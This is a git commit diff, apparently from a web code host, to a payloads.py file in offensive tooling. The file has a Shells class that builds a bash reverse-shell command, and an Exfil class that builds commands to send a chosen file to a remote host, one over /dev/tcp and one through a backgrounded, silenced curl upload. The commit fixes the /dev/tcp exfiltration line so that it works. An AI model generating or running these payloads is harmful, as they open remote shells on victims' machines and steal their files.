Update payloads.py
parent
d8bce8e3d8
commit
c7731f78f2
|
@ -4,7 +4,7 @@ class Shells:
|
||||||
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
|
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
|
||||||
class Exfil:
|
class Exfil:
|
||||||
def socket(ip,port,file):
|
def socket(ip,port,file):
|
||||||
return f"cat {file} | /dev/tcp/{ip}/{port} &"
|
return f"cat {file} &> /dev/tcp/{ip}/{port} ;"
|
||||||
def pflask(ip, port, file):
|
def pflask(ip, port, file):
|
||||||
return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "
|
return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue